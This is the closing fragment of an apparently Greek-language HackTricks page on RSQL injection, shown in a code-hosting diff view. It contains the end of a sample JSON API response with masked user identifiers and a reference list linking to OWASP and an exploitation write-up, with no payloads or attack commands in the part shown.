"taxIdentifier": "*********",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-11-21T08:29:05.833Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "94******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
## Αναφορές
|
||||
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
||||
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user